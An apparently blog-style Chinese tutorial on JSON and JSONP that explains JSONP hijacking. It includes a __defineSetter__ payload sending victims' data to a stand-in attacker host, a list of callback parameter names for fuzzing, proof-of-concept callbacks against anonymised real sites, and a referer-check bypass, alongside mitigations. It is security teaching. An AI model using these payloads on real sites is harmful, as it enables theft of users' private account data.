json以及jsonp
前言
JSONP全名为JSON with Padding,其存在的意义便有绕过诸如同源策略强制执行XMLHttpRequest(AJAX requests)。是基于 JSON 格式的为解决跨域请求资源而产生的解决方案。他实现的基本原理是利用了 HTML 里 元素标签,远程调用 JSON 文件来实现数据传递。如要在 a.com 域下获取存在 b.com 的 JSON 数据( getUsers.JSON ):
JSONP(JSON with Padding)是一个非官方的协议,它允许在服务器端集成Script tags返回至客户端,通过javascript callback的形式实现跨域访问(这仅仅是JSONP简单的实现形式)。
JSONP注入是一个不太常见但影响非常广泛且极危险的漏洞,由于最近几年对JSON, web APIs以及跨域通信的需求增多,不得不引起我们的重视。
json基础
JSON能够以非常简单的方式来描述数据结构,XML能做的它都能做,因此在跨平台方面两者完全不分伯仲。
1、JSON只有两种数据类型描述符,大括号{}和方括号[],其余英文冒号:是映射符,英文逗号,是分隔符,英文双引号”“是定义符。
2、大括号{}用来描述一组“不同类型的无序键值对集合”(每个键值对可以理解为OOP的属性描述),方括号[]用来描述一组“相同类型的有序数据集合”(可对应OOP的数组)。
3、上述两种集合中若有多个子项,则通过英文逗号,进行分隔。
4、键值对以英文冒号:进行分隔,并且建议键名都加上英文双引号”“,以便于不同语言的解析。
5、JSON内部常用数据类型无非就是字符串、数字、布尔、日期、null 这么几个,字符串必须用双引号引起来,其余的都不用,日期类型比较特殊,这里就不展开讲述了,只是建议如果客户端没有按日期排序功能需求的话,那么把日期时间直接作为字符串传递就好,可以省去很多麻烦。
json实例
// 描述一个人
var person = {
"Name": "Bob",
"Age": 32,
"Company": "IBM",
"Engineer": true }
// 获取这个人的信息
var personAge = person.Age;
// 描述几个人
var members = [
{
"Name": "Bob",
"Age": 32,
"Company": "IBM",
"Engineer": true
},
{
"Name": "John",
"Age": 20,
"Company": "Oracle",
"Engineer": false
},
{
"Name": "Henry",
"Age": 45,
"Company": "Microsoft",
"Engineer": false
}
]
// 读取其中John的公司名称
var johnsCompany = members[1].Company;
// 描述一次会议
var conference = {
"Conference": "Future Marketing",
"Date": "2012-6-1",
"Address": "Beijing",
"Members":
[
{
"Name": "Bob",
"Age": 32,
"Company": "IBM",
"Engineer": true
},
{
"Name": "John",
"Age": 20,
"Company": "Oracle",
"Engineer": false
},
{
"Name": "Henry",
"Age": 45,
"Company": "Microsoft",
"Engineer": false
}
]
}
// 读取参会者Henry是否工程师
var henryIsAnEngineer = conference.Members[2].Engineer;
什么是jsonp
1、一个众所周知的问题,Ajax直接请求普通文件存在跨域无权限访问的问题,甭管你是静态页面、动态网页、web服务、WCF,只要是跨域请求,一律不准;
2、不过我们又发现,Web页面上调用js文件时则不受是否跨域的影响(不仅如此,我们还发现凡是拥有”src”这个属性的标签都拥有跨域的能力,比如script、img、iframe);
3、于是可以判断,当前阶段如果想通过纯web端(ActiveX控件、服务端代理、属于未来的HTML5之Websocket等方式不算)跨域访问数据就只有一种可能,那就是在远程服务器上设法把数据装进js格式的文件里,供客户端调用和进一步处理;
4、恰巧我们已经知道有一种叫做JSON的纯字符数据格式可以简洁的描述复杂数据,更妙的是JSON还被js原生支持,所以在客户端几乎可以随心所欲的处理这种格式的数据;
5、这样子解决方案就呼之欲出了,web客户端通过与调用脚本一模一样的方式,来调用跨域服务器上动态生成的js格式文件(一般以JSON为后缀),显而易见,服务器之所以要动态生成JSON文件,目的就在于把客户端需要的数据装入进去。 (重点--简而言之。我们要加载远程文件而js又可以跨域,那么我们跨域调用远程js文件,便可以实现同源策略之下的跨域)
6、客户端在对JSON文件调用成功之后,也就获得了自己所需的数据,剩下的就是按照自己需求进行处理和展现了,这种获取远程数据的方式看起来非常像AJAX,但其实并不一样。
7、为了便于客户端使用数据,逐渐形成了一种非正式传输协议,人们把它称作JSONP,该协议的一个要点就是允许用户传递一个callback参数给服务端,然后服务端返回数据时会将这个callback参数作为函数名来包裹住JSON数据,这样客户端就可以随意定制自己的函数来自动处理返回数据了。
jsonp跨域实例
前端
jsonp.html
jsonp测试页面
在用户访问恶意网站时:
(1).这段JS代码会要求浏览器发送一个GET请求到http://www.Bank.com/UserInfo,于是浏览器按照指示,带上本地的Cookie信息,发送一个http的GET请求。
(2).www.Bank.Com接受到请求后,确认身份后,响应请求返回了一个JSON数组/JavaScript代码段。
(3).客户端接受到这段JS脚本后,如果返回的是一个JSON数组,比如:
[{"Id":3,"Name":hyddd,"Money":10000}]
JSON数组被认为是一段可执行的JavaScript脚本,于是浏览器会解析执行。
如果返回的是一个JSON对象呢?
{"Id":3,"Name":hyddd,"Money":10000}
呵呵,这个是不会被浏览器执行的,因为浏览器认为:它不是一个JavaScript脚本。
如果它返回的是一个JavaScript脚本的话,恩,这得具体问题具体分析了,不一定能拿到什么数据。
(4).看下面这段JavaScript脚本:
Object.prototype.__defineSetter__('Money', function(obj) { var objString = ""; for (fld in this) {objString += fld + ": " + this[fld] + ", "; } req.open("GET", "http://www.BadGuy.com?obj"= +escape(objString),true); } req.send(null); );
它的作用就是发送受害者的私隐信息到恶意站点的。
这里可能有人不理解,我大概说一下:
Object.prototype.__defineSetter__,可以看做是JavaScript中的Hook(有人把这个称为JavaScript函数劫持,注意JavaScript的函数劫持和JavaScript Hijacking不是同一个概念,JavaScript Hijacking的核心思想和CSRF攻击的核心思想应该是一致的),这里是对Object的Money属性设置了一个Hook,在JavaScript中,由于其他的对象都是派生自Object的,所以这段代码就对所有对象的Money属性都做了一个Hook,当有对象设置它的Money属性时,都会触发上面这段代码的运行。注意的是:__defineSetter__这个在IE系列的浏览器好像是不受支持的(在IE6下试了不行),但FireFox系列的浏览器是肯定支持的。
后面的var objString=""...这就是发送受害者信息到恶意站点了,这里不说了。
当浏览器解析(3)中的JSON数组时,会新建一个对象并赋值,这时候就出发了上面这段代码,结果私隐信息就发送到恶意站点了。
通过
Object.prototype.__defineSetter__
这个函数来触发自己的恶意代码。
但是这个函数在当前的新版本chrome和firefox中都已经失效了。
解决方法
1、验证 HTTP Referer 头信息;
2、在请求中添加 csrfToken 并在后端进行验证;
jsonp劫持
寻找jsonp的接口
1.burp抓包,一般有jsonp的数据传输会在mimetype中显示为script,通过排序可以快速得找到
2.火狐控制台查找包
3.fuzz
如果jsonp的接口没有敏感信息传输,json数据包中恰好有的话,我们可以尝试一下程序员是否有开发jsonp的格式,大多数程序员喜欢把jsonp的回传参数命名为callback
当然还有其他的可能,字典用Intruder Fuzz一下试试:
callback=attack
cb=attack
call=attack
jsonp=attack
jsonpcallback=attack
jsonpcb=attack
json=attack
jsoncallback=attack
jcb=attack
某云实例
复制到url里便可以检验是否存在jsonp接口漏洞。
修改callback原函数便可将json数据全部显示出来,一些敏感信息。
poc
function peiqi(json){
alert(json.result.pin)
}
poc可以继续构造制定发送到自己的页面,可见jsonp的原理与csrf基本为一致的,利用用户的身份来做一些事情,或者发送自己的信息给别人,
某X jsonp
POC
function peiqi(json){
alert(json.userName)
}
目前挖掘jsonp 一般是F12 寻找callback函数,推荐一款自动检测XSS jsonp的谷歌插件 XssSniper
绕过
一些对referer 进行验证,但是有的时候空referer可以绕过验证。
---
参考:https://blog.csdn.net/yjclsx/article/details/80340901
参考:http://www.cnblogs.com/hyddd/archive/2009/07/02/1515768.html
参考:https://shiyousan.com/post/635441704246553316